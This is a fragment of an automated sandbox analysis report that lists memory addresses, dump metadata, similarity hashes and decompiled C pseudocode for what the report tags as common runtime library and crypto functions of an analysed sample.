                                                                                                                              0x7ff7da8f2f51
                                                                                                                              0x7ff7da8f2f54
                                                                                                                              0x7ff7da8f2f56
                                                                                                                              0x7ff7da8f2f5b
                                                                                                                              0x7ff7da8f2f6a
                                                                                                                              0x7ff7da8f2f73
                                                                                                                              0x7ff7da8f2f79
                                                                                                                              0x7ff7da8f2f8f
                                                                                                                              0x7ff7da8f2f95
                                                                                                                              0x7ff7da8f2fa7
                                                                                                                              0x7ff7da8f2fb7
                                                                                                                              0x7ff7da8f2fbd
                                                                                                                              0x7ff7da8f2fbf
                                                                                                                              0x7ff7da8f2fcb
                                                                                                                              0x7ff7da8f2fcd
                                                                                                                              0x7ff7da8f2fd8
                                                                                                                              0x7ff7da8f2fe1
                                                                                                                              0x7ff7da8f2fe6
                                                                                                                              0x7ff7da8f2ff0
                                                                                                                              0x7ff7da8f3012
                                                                                                                              0x7ff7da8f3028
                                                                                                                              0x7ff7da8f302f
                                                                                                                              0x7ff7da8f3032
                                                                                                                              0x7ff7da8f3039
                                                                                                                              0x7ff7da8f303b
                                                                                                                              0x7ff7da8f303e
                                                                                                                              0x7ff7da8f3046
                                                                                                                              0x7ff7da8f3062
                                                                                                                              0x7ff7da8f3064
                                                                                                                              0x7ff7da8f3069
                                                                                                                              0x7ff7da8f3074
                                                                                                                              0x7ff7da8f307b
                                                                                                                              0x7ff7da8f308c
                                                                                                                              0x7ff7da8f3094
                                                                                                                              0x7ff7da8f3097
                                                                                                                              0x7ff7da8f309c
                                                                                                                              0x7ff7da8f309c
                                                                                                                              0x7ff7da8f30a5
                                                                                                                              0x7ff7da8f30b2
                                                                                                                              0x7ff7da8f30b6
                                                                                                                              0x7ff7da8f30bb
                                                                                                                              0x7ff7da8f30c9
                                                                                                                              0x7ff7da8f30d2
                                                                                                                              0x7ff7da8f30d8
                                                                                                                              0x7ff7da8f30de
                                                                                                                              0x7ff7da8f30e0
                                                                                                                              0x7ff7da8f30e6
                                                                                                                              0x7ff7da8f30f0
                                                                                                                              0x7ff7da8f30f4
                                                                                                                              0x7ff7da8f30fb
                                                                                                                              0x7ff7da8f30fd
                                                                                                                              0x7ff7da8f3101
                                                                                                                              0x7ff7da8f3106
                                                                                                                              0x7ff7da8f311b

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memcpy_s
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1502251526-0
                                                                                                                              • Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                                                                                                              • Instruction ID: a64fd4d92c7f22eb7216a882d46fb8650dac1d01c69247093963c173a5c2efe0
                                                                                                                              • Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                                                                                                              • Instruction Fuzzy Hash: E5C10172B1928787EB25DF19A04466EFB91F7A4B84FC08176DF5A43785DA3DE811CB00
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F8AB8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionRaise_clrfp
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 15204871-0
                                                                                                                              • Opcode ID: 74b74fac905c79e0ebaf08103afb4d2b2a55cd2fde682fd1ab498cab3797c563
                                                                                                                              • Instruction ID: 15e4a2d0c3385056f5334bd1e11090be473cb89c8b55d9516c91c6894cd5dbde
                                                                                                                              • Opcode Fuzzy Hash: 74b74fac905c79e0ebaf08103afb4d2b2a55cd2fde682fd1ab498cab3797c563
                                                                                                                              • Instruction Fuzzy Hash: 61B19C73601B8A8BEB56DF29C84236C7BE0F750B48F948862DE5D837A5CB39D461C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E2B54 Relevance: 2.8, Strings: 2, Instructions: 350COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 61%
                                                                                                                              			E00007FF77FF7DA8E2B54(long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __r8) {
				void* __rdi;
				void* _t124;
				signed int _t155;
				void* _t159;
				unsigned int _t164;
				signed char _t165;
				signed int _t168;
				signed short _t184;
				void* _t187;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t196;
				signed long long _t245;
				void* _t263;
				signed int** _t274;
				signed int** _t277;
				signed int** _t281;
				signed int*** _t283;
				signed long long _t288;
				signed int** _t293;
				void* _t295;
				signed int* _t296;
				long long _t300;
				void* _t303;
				signed long long _t304;
				void* _t306;
				void* _t312;
				signed long long _t316;
				void* _t318;
				signed int*** _t319;
				void* _t321;

				_t306 = __r8;
				_t298 = __rsi;
				 *((long long*)(_t303 + 0x10)) = __rbx;
				 *((long long*)(_t303 + 0x18)) = _t300;
				 *((long long*)(_t303 + 0x20)) = __rsi;
				_t304 = _t303 - 0x50;
				_t245 =  *0xda90d008; // 0xde4e6c2f3c2e
				 *(_t304 + 0x40) = _t245 ^ _t304;
				_t263 = __rcx;
				_t155 =  *(__rcx + 0x3a) & 0x0000ffff;
				_t6 = _t295 - 0x37; // 0x41
				_t188 = _t6;
				_t7 = _t295 - 0x20; // 0x58
				_t184 = _t7;
				_t189 = _t155 - 0x64;
				if (_t189 > 0) goto 0xda8e2c07;
				if (_t189 == 0) goto 0xda8e2c31;
				_t190 = _t155 - 0x53;
				if (_t190 > 0) goto 0xda8e2bd0;
				if (_t190 == 0) goto 0xda8e2c77;
				if (_t190 == 0) goto 0xda8e2bc3;
				if (_t190 == 0) goto 0xda8e2beb;
				if (_t190 == 0) goto 0xda8e2bc3;
				_t159 = _t155 - _t188 - 0xffffffffffffffff;
				if (_t190 == 0) goto 0xda8e2bc3;
				if (_t159 != 1) goto 0xda8e2ca0;
				E00007FF77FF7DA8E3308(0x78, __rcx, __rcx, _t300);
				goto 0xda8e2c99;
				if (_t159 == _t184) goto 0xda8e2c8f;
				if (_t159 == 0x5a) goto 0xda8e2bfa;
				if (_t159 == 0x61) goto 0xda8e2bc3;
				if (_t159 != 0x63) goto 0xda8e2ca0;
				E00007FF77FF7DA8E3644(_t159 - 0x63, __rcx, __rcx, __rsi, _t321, _t318);
				goto 0xda8e2c99;
				E00007FF77FF7DA8E3034(_t159, __rcx, __rcx, _t298, _t316);
				goto 0xda8e2c99;
				_t196 = _t159 - 0x6f;
				if (_t196 > 0) goto 0xda8e2c60;
				if (_t196 == 0) goto 0xda8e2c41;
				if (_t196 == 0) goto 0xda8e2bc3;
				if (_t196 == 0) goto 0xda8e2bc3;
				if (_t196 == 0) goto 0xda8e2bc3;
				if (_t196 == 0) goto 0xda8e2c31;
				if (_t159 - 0x61 != 5) goto 0xda8e2ca0;
				E00007FF77FF7DA8E3708(__rcx, __rcx);
				goto 0xda8e2c99;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E00007FF77FF7DA8E0F04(0, __rcx, __rcx, _t295, _t298, _t300, _t312, _t295);
				goto 0xda8e2c99;
				_t164 =  *(__rcx + 0x28);
				if ((_t164 >> 0x00000005 & 0x00000001) == 0) goto 0xda8e2c54;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t164;
				E00007FF77FF7DA8E0AF4(0, __rcx, __rcx, _t295, _t298, _t300);
				goto 0xda8e2c99;
				if (_t164 == 0x70) goto 0xda8e2c81;
				if (_t164 == 0x73) goto 0xda8e2c77;
				if (_t164 == 0x75) goto 0xda8e2c35;
				if (_t164 != 0x78) goto 0xda8e2ca0;
				goto 0xda8e2c91;
				E00007FF77FF7DA8E385C(__rcx, __rcx, _t298);
				goto 0xda8e2c99;
				 *((intOrPtr*)(_t263 + 0x30)) = 0x10;
				 *((intOrPtr*)(_t263 + 0x34)) = 0xb;
				_t124 = E00007FF77FF7DA8E1314(1, _t263, _t263, _t295, _t298, _t300);
				r13d = 0;
				if (_t124 != 0) goto 0xda8e2ca7;
				goto 0xda8e2f8d;
				if ( *((intOrPtr*)(_t263 + 0x38)) != r13b) goto 0xda8e2f8b;
				_t165 =  *(_t263 + 0x28);
				 *(_t304 + 0x34) = 0;
				_t288 = _t316;
				 *((short*)(_t304 + 0x38)) = 0;
				r12d = 0x20;
				if (0 == 0) goto 0xda8e2d05;
				if (0 == 0) goto 0xda8e2ce6;
				_t24 = _t312 + 0xd; // 0xd
				 *(_t304 + 0x34) = _t24;
				goto 0xda8e2d00;
				if ((_t165 & 0x00000001) == 0) goto 0xda8e2cf2;
				goto 0xda8e2cdf;
				if (0 == 0) goto 0xda8e2d05;
				 *(_t304 + 0x34) = r12w;
				r8d =  *(_t263 + 0x3a) & 0x0000ffff;
				r10d = 0xffdf;
				if ((r10w & (r8w & 0xffffffff) - _t184) != 0) goto 0xda8e2d29;
				r9b = 1;
				if (0 != 0) goto 0xda8e2d2c;
				r9b = r13b;
				r15d = 0x30;
				if (r9b != 0) goto 0xda8e2d49;
				if (0 == 0) goto 0xda8e2d67;
				 *(_t304 + 0x34 + _t288 * 2) = r15w;
				if (r8w == _t184) goto 0xda8e2d5b;
				if (r8w != _t188) goto 0xda8e2d5e;
				 *((short*)(_t304 + 0x36 + _t288 * 2)) = _t184 & 0x0000ffff;
				_t187 =  *((intOrPtr*)(_t263 + 0x2c)) - 1 -  *(_t263 + 0x48);
				if ((_t165 & 0x0000000c) != 0) goto 0xda8e2ddb;
				r9d = r13d;
				if (_t187 <= 0) goto 0xda8e2ddb;
				r8d =  *(_t263 + 0x20);
				_t274 =  *(_t263 + 0x460);
				if ( *((intOrPtr*)(_t274 + 0x10)) !=  *((intOrPtr*)(_t274 + 8))) goto 0xda8e2da5;
				if ( *((intOrPtr*)(_t274 + 0x18)) == r13b) goto 0xda8e2d9b;
				r8d = r8d + 1;
				goto 0xda8e2d9f;
				r8d = r8d | 0xffffffff;
				 *(_t263 + 0x20) = r8d;
				goto 0xda8e2dc9;
				 *(_t263 + 0x20) = _t306 + 1;
				 *((long long*)(_t274 + 0x10)) =  *((long long*)(_t274 + 0x10)) + 1;
				 *( *( *(_t263 + 0x460))) = r12w;
				 *( *(_t263 + 0x460)) =  &(( *( *(_t263 + 0x460)))[0]);
				r8d =  *(_t263 + 0x20);
				if (r8d == 0xffffffff) goto 0xda8e2ddb;
				r9d = r9d + 1;
				if (r9d - _t187 < 0) goto 0xda8e2d7f;
				_t296 = _t263 + 0x20;
				r8d = 1;
				 *((long long*)(_t304 + 0x20)) =  *((intOrPtr*)(_t263 + 8));
				_t319 = _t263 + 0x460;
				_t67 = _t304 + 0x34; // 0x54
				E00007FF77FF7DA8E3A8C(_t306 + 1, _t187, _t263, _t319, _t298, _t300, _t296);
				if (0 == 0) goto 0xda8e2e66;
				if (( *(_t263 + 0x28) >> 0x00000002 & 0x00000001) != 0) goto 0xda8e2e66;
				r8d = r13d;
				if (_t187 <= 0) goto 0xda8e2e66;
				_t277 =  *_t319;
				if ( *((intOrPtr*)(_t277 + 0x10)) !=  *((intOrPtr*)(_t277 + 8))) goto 0xda8e2e3d;
				if ( *((intOrPtr*)(_t277 + 0x18)) == r13b) goto 0xda8e2e36;
				goto 0xda8e2e39;
				 *_t296 =  *_t296 + 0x00000001 | 0xffffffff;
				goto 0xda8e2e57;
				 *_t296 = _t67 + 1;
				 *((long long*)(_t277 + 0x10)) =  *((long long*)(_t277 + 0x10)) + 1;
				 *( *( *_t319)) = r15w;
				 *( *_t319) =  &(( *( *_t319))[0]);
				if ( *_t296 == 0xffffffff) goto 0xda8e2e66;
				r8d = r8d + 1;
				if (r8d - _t187 < 0) goto 0xda8e2e1f;
				if ( *((intOrPtr*)(_t263 + 0x4c)) != r13b) goto 0xda8e2f3d;
				if ( *(_t263 + 0x48) - r13d <= 0) goto 0xda8e2f3d;
				_t301 =  *((intOrPtr*)(_t263 + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t263 + 8)) + 0x28)) != r13b) goto 0xda8e2e8c;
				E00007FF77FF7DA8E3970( *_t319, _t263,  *((intOrPtr*)(_t263 + 8)), _t298);
				r15d = r13d;
				if ( *(_t263 + 0x48) == r13d) goto 0xda8e2f04;
				_t86 = _t304 + 0x30; // 0x50
				 *(_t304 + 0x30) = r13w;
				if (E00007FF77FF7DA8EDB00( *(_t263 + 0x28) >> 2, _t188, _t263, _t86,  *((intOrPtr*)(_t263 + 0x40)), _t296, _t298, _t301,  *((intOrPtr*)( *((intOrPtr*)(_t301 + 0x18)) + 8)),  *((intOrPtr*)(_t263 + 8))) <= 0) goto 0xda8e2f38;
				_t281 =  *_t319;
				r8d =  *(_t304 + 0x30) & 0x0000ffff;
				if ( *((intOrPtr*)(_t281 + 0x10)) !=  *((intOrPtr*)(_t281 + 8))) goto 0xda8e2ee1;
				if ( *((intOrPtr*)(_t281 + 0x18)) == r13b) goto 0xda8e2edc;
				 *_t296 =  *_t296 + 1;
				goto 0xda8e2ef8;
				 *_t296 =  *_t296 | 0xffffffff;
				goto 0xda8e2ef8;
				 *_t296 =  *_t296 + 1;
				 *((long long*)(_t281 + 0x10)) =  *((long long*)(_t281 + 0x10)) + 1;
				 *( *( *_t319)) = r8w;
				 *( *_t319) =  &(( *( *_t319))[0]);
				r15d = r15d + 1;
				if (r15d !=  *(_t263 + 0x48)) goto 0xda8e2e99;
				r12d = 0x20;
				_t168 =  *_t296;
				if (_t168 < 0) goto 0xda8e2f8b;
				if (0 == 0) goto 0xda8e2f8b;
				r8d = r13d;
				if (_t187 <= 0) goto 0xda8e2f8b;
				_t293 =  *_t319;
				if ( *((intOrPtr*)(_t293 + 0x10)) !=  *((intOrPtr*)(_t293 + 8))) goto 0xda8e2f62;
				if ( *((intOrPtr*)(_t293 + 0x18)) == r13b) goto 0xda8e2f5b;
				goto 0xda8e2f5e;
				 *_t296 =  *_t296 | 0xffffffff;
				goto 0xda8e2f04;
				r8d =  *(_t263 + 0x48);
				_t283 = _t319;
				 *((long long*)(_t304 + 0x20)) =  *((intOrPtr*)(_t263 + 8));
				E00007FF77FF7DA8E3A8C( *(_t263 + 0x28) >> 2, _t187, _t263, _t283, _t298, _t301, _t296);
				goto 0xda8e2f0a;
				 *_t296 = _t168 + 0x00000001 | 0xffffffff;
				goto 0xda8e2f7c;
				 *_t296 =  &(_t283[0]);
				 *((long long*)( *((intOrPtr*)(_t263 + 0x40)) + 0x10)) =  *((long long*)( *((intOrPtr*)(_t263 + 0x40)) + 0x10)) + 1;
				 *( *( *_t319)) = r12w;
				 *( *_t319) =  &(( *( *_t319))[0]);
				if ( *_t296 == 0xffffffff) goto 0xda8e2f8b;
				r8d = r8d + 1;
				if (r8d - _t187 < 0) goto 0xda8e2f21;
				return E00007FF77FF7DA8DACF0(1,  *_t296,  *(_t304 + 0x40) ^ _t304);
			}



































                                                                                                                              0x7ff7da8e2b54
                                                                                                                              0x7ff7da8e2b54
                                                                                                                              0x7ff7da8e2b54
                                                                                                                              0x7ff7da8e2b59
                                                                                                                              0x7ff7da8e2b5e
                                                                                                                              0x7ff7da8e2b6c
                                                                                                                              0x7ff7da8e2b70
                                                                                                                              0x7ff7da8e2b7a
                                                                                                                              0x7ff7da8e2b84
                                                                                                                              0x7ff7da8e2b87
                                                                                                                              0x7ff7da8e2b8b
                                                                                                                              0x7ff7da8e2b8b
                                                                                                                              0x7ff7da8e2b8e
                                                                                                                              0x7ff7da8e2b8e
                                                                                                                              0x7ff7da8e2b91
                                                                                                                              0x7ff7da8e2b94
                                                                                                                              0x7ff7da8e2b96
                                                                                                                              0x7ff7da8e2b9c
                                                                                                                              0x7ff7da8e2b9f
                                                                                                                              0x7ff7da8e2ba1
                                                                                                                              0x7ff7da8e2ba9
                                                                                                                              0x7ff7da8e2bae
                                                                                                                              0x7ff7da8e2bb3
                                                                                                                              0x7ff7da8e2bb5
                                                                                                                              0x7ff7da8e2bb8
                                                                                                                              0x7ff7da8e2bbd
                                                                                                                              0x7ff7da8e2bc6
                                                                                                                              0x7ff7da8e2bcb
                                                                                                                              0x7ff7da8e2bd2
                                                                                                                              0x7ff7da8e2bdb
                                                                                                                              0x7ff7da8e2be0
                                                                                                                              0x7ff7da8e2be5
                                                                                                                              0x7ff7da8e2bf0
                                                                                                                              0x7ff7da8e2bf5
                                                                                                                              0x7ff7da8e2bfd
                                                                                                                              0x7ff7da8e2c02
                                                                                                                              0x7ff7da8e2c07
                                                                                                                              0x7ff7da8e2c0a
                                                                                                                              0x7ff7da8e2c0c
                                                                                                                              0x7ff7da8e2c11
                                                                                                                              0x7ff7da8e2c16
                                                                                                                              0x7ff7da8e2c1b
                                                                                                                              0x7ff7da8e2c20
                                                                                                                              0x7ff7da8e2c25
                                                                                                                              0x7ff7da8e2c2a
                                                                                                                              0x7ff7da8e2c2f
                                                                                                                              0x7ff7da8e2c31
                                                                                                                              0x7ff7da8e2c3a
                                                                                                                              0x7ff7da8e2c3f
                                                                                                                              0x7ff7da8e2c41
                                                                                                                              0x7ff7da8e2c4b
                                                                                                                              0x7ff7da8e2c4d
                                                                                                                              0x7ff7da8e2c51
                                                                                                                              0x7ff7da8e2c59
                                                                                                                              0x7ff7da8e2c5e
                                                                                                                              0x7ff7da8e2c63
                                                                                                                              0x7ff7da8e2c68
                                                                                                                              0x7ff7da8e2c6d
                                                                                                                              0x7ff7da8e2c71
                                                                                                                              0x7ff7da8e2c75
                                                                                                                              0x7ff7da8e2c7a
                                                                                                                              0x7ff7da8e2c7f
                                                                                                                              0x7ff7da8e2c81
                                                                                                                              0x7ff7da8e2c88
                                                                                                                              0x7ff7da8e2c94
                                                                                                                              0x7ff7da8e2c99
                                                                                                                              0x7ff7da8e2c9e
                                                                                                                              0x7ff7da8e2ca2
                                                                                                                              0x7ff7da8e2cab
                                                                                                                              0x7ff7da8e2cb1
                                                                                                                              0x7ff7da8e2cb6
                                                                                                                              0x7ff7da8e2cba
                                                                                                                              0x7ff7da8e2cbd
                                                                                                                              0x7ff7da8e2cc2
                                                                                                                              0x7ff7da8e2ccf
                                                                                                                              0x7ff7da8e2cd8
                                                                                                                              0x7ff7da8e2cda
                                                                                                                              0x7ff7da8e2cdf
                                                                                                                              0x7ff7da8e2ce4
                                                                                                                              0x7ff7da8e2ce9
                                                                                                                              0x7ff7da8e2cf0
                                                                                                                              0x7ff7da8e2cf8
                                                                                                                              0x7ff7da8e2cfa
                                                                                                                              0x7ff7da8e2d05
                                                                                                                              0x7ff7da8e2d0a
                                                                                                                              0x7ff7da8e2d1b
                                                                                                                              0x7ff7da8e2d1f
                                                                                                                              0x7ff7da8e2d27
                                                                                                                              0x7ff7da8e2d29
                                                                                                                              0x7ff7da8e2d30
                                                                                                                              0x7ff7da8e2d43
                                                                                                                              0x7ff7da8e2d47
                                                                                                                              0x7ff7da8e2d49
                                                                                                                              0x7ff7da8e2d53
                                                                                                                              0x7ff7da8e2d59
                                                                                                                              0x7ff7da8e2d5e
                                                                                                                              0x7ff7da8e2d6c
                                                                                                                              0x7ff7da8e2d72
                                                                                                                              0x7ff7da8e2d74
                                                                                                                              0x7ff7da8e2d79
                                                                                                                              0x7ff7da8e2d7b
                                                                                                                              0x7ff7da8e2d7f
                                                                                                                              0x7ff7da8e2d8e
                                                                                                                              0x7ff7da8e2d94
                                                                                                                              0x7ff7da8e2d96
                                                                                                                              0x7ff7da8e2d99
                                                                                                                              0x7ff7da8e2d9b
                                                                                                                              0x7ff7da8e2d9f
                                                                                                                              0x7ff7da8e2da3
                                                                                                                              0x7ff7da8e2da9
                                                                                                                              0x7ff7da8e2dac
                                                                                                                              0x7ff7da8e2dba
                                                                                                                              0x7ff7da8e2dc5
                                                                                                                              0x7ff7da8e2dc9
                                                                                                                              0x7ff7da8e2dd1
                                                                                                                              0x7ff7da8e2dd3
                                                                                                                              0x7ff7da8e2dd9
                                                                                                                              0x7ff7da8e2ddf
                                                                                                                              0x7ff7da8e2de3
                                                                                                                              0x7ff7da8e2de6
                                                                                                                              0x7ff7da8e2deb
                                                                                                                              0x7ff7da8e2df8
                                                                                                                              0x7ff7da8e2dfd
                                                                                                                              0x7ff7da8e2e0c
                                                                                                                              0x7ff7da8e2e14
                                                                                                                              0x7ff7da8e2e16
                                                                                                                              0x7ff7da8e2e1b
                                                                                                                              0x7ff7da8e2e1f
                                                                                                                              0x7ff7da8e2e2a
                                                                                                                              0x7ff7da8e2e30
                                                                                                                              0x7ff7da8e2e34
                                                                                                                              0x7ff7da8e2e39
                                                                                                                              0x7ff7da8e2e3b
                                                                                                                              0x7ff7da8e2e40
                                                                                                                              0x7ff7da8e2e42
                                                                                                                              0x7ff7da8e2e4c
                                                                                                                              0x7ff7da8e2e53
                                                                                                                              0x7ff7da8e2e5c
                                                                                                                              0x7ff7da8e2e5e
                                                                                                                              0x7ff7da8e2e64
                                                                                                                              0x7ff7da8e2e6a
                                                                                                                              0x7ff7da8e2e74
                                                                                                                              0x7ff7da8e2e7a
                                                                                                                              0x7ff7da8e2e82
                                                                                                                              0x7ff7da8e2e87
                                                                                                                              0x7ff7da8e2e8c
                                                                                                                              0x7ff7da8e2e97
                                                                                                                              0x7ff7da8e2e9d
                                                                                                                              0x7ff7da8e2ea9
                                                                                                                              0x7ff7da8e2ebd
                                                                                                                              0x7ff7da8e2ebf
                                                                                                                              0x7ff7da8e2ec2
                                                                                                                              0x7ff7da8e2ed0
                                                                                                                              0x7ff7da8e2ed6
                                                                                                                              0x7ff7da8e2ed8
                                                                                                                              0x7ff7da8e2eda
                                                                                                                              0x7ff7da8e2edc
                                                                                                                              0x7ff7da8e2edf
                                                                                                                              0x7ff7da8e2ee1
                                                                                                                              0x7ff7da8e2ee3
                                                                                                                              0x7ff7da8e2eed
                                                                                                                              0x7ff7da8e2ef4
                                                                                                                              0x7ff7da8e2efb
                                                                                                                              0x7ff7da8e2f02
                                                                                                                              0x7ff7da8e2f04
                                                                                                                              0x7ff7da8e2f0a
                                                                                                                              0x7ff7da8e2f0e
                                                                                                                              0x7ff7da8e2f18
                                                                                                                              0x7ff7da8e2f1a
                                                                                                                              0x7ff7da8e2f1f
                                                                                                                              0x7ff7da8e2f21
                                                                                                                              0x7ff7da8e2f2c
                                                                                                                              0x7ff7da8e2f32
                                                                                                                              0x7ff7da8e2f36
                                                                                                                              0x7ff7da8e2f38
                                                                                                                              0x7ff7da8e2f3b
                                                                                                                              0x7ff7da8e2f44
                                                                                                                              0x7ff7da8e2f48
                                                                                                                              0x7ff7da8e2f4f
                                                                                                                              0x7ff7da8e2f54
                                                                                                                              0x7ff7da8e2f59
                                                                                                                              0x7ff7da8e2f5e
                                                                                                                              0x7ff7da8e2f60
                                                                                                                              0x7ff7da8e2f65
                                                                                                                              0x7ff7da8e2f67
                                                                                                                              0x7ff7da8e2f71
                                                                                                                              0x7ff7da8e2f78
                                                                                                                              0x7ff7da8e2f81
                                                                                                                              0x7ff7da8e2f83
                                                                                                                              0x7ff7da8e2f89
                                                                                                                              0x7ff7da8e2fb7

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: $
                                                                                                                              • API String ID: 0-227171996
                                                                                                                              • Opcode ID: 089c56a23d9dfdc55ef2d2286675d83662a3bd811f7c67310a65c9fae7cea101
                                                                                                                              • Instruction ID: 1e46c377721bf6addde915840e4b5875365754f6cf9c5e9810420febfa19990c
                                                                                                                              • Opcode Fuzzy Hash: 089c56a23d9dfdc55ef2d2286675d83662a3bd811f7c67310a65c9fae7cea101
                                                                                                                              • Instruction Fuzzy Hash: 53E1B572A08606C1FF6AAF25C05013DE360FB65B44FD40176DE0E47696EF2EEA61C712
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8ECFE8 Relevance: 2.6, Strings: 2, Instructions: 144COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 47%
                                                                                                                              			E00007FF77FF7DA8ECFE8(void* __ebp, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32, long long _a64) {
				void* _t17;
				long long _t32;
				void* _t42;
				void* _t45;
				void* _t46;

				_t46 = _t42;
				 *((long long*)(_t46 + 8)) = __rbx;
				 *((long long*)(_t46 + 0x10)) = __rbp;
				 *((long long*)(_t46 + 0x18)) = __rsi;
				 *((long long*)(_t46 + 0x20)) = __rdi;
				r13b = r9b;
				_t16 =  >  ? __ebp : 0;
				_t17 = ( >  ? __ebp : 0) + 9;
				if (__rdx - __rax > 0) goto 0xda8ed070;
				_t32 = _a64;
				 *((long long*)(_t46 - 0x20)) = _t32;
				r9d = 0;
				 *(_t46 - 0x28) =  *(_t46 - 0x28) & 0x00000000;
				r8d = 0;
				 *((char*)(_t32 + 0x30)) = 1;
				 *((intOrPtr*)(_t32 + 0x2c)) = 0x22;
				E00007FF77FF7DA8E9C34(__rax, __rbx, _t32, __rdx, __rsi, r8d, _t45);
				return 0x22;
			}








                                                                                                                              0x7ff7da8ecfe8
                                                                                                                              0x7ff7da8ecfeb
                                                                                                                              0x7ff7da8ecfef
                                                                                                                              0x7ff7da8ecff3
                                                                                                                              0x7ff7da8ecff7
                                                                                                                              0x7ff7da8ed00d
                                                                                                                              0x7ff7da8ed016
                                                                                                                              0x7ff7da8ed019
                                                                                                                              0x7ff7da8ed021
                                                                                                                              0x7ff7da8ed023
                                                                                                                              0x7ff7da8ed030
                                                                                                                              0x7ff7da8ed034
                                                                                                                              0x7ff7da8ed037
                                                                                                                              0x7ff7da8ed03c
                                                                                                                              0x7ff7da8ed041
                                                                                                                              0x7ff7da8ed045
                                                                                                                              0x7ff7da8ed04a
                                                                                                                              0x7ff7da8ed06f

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
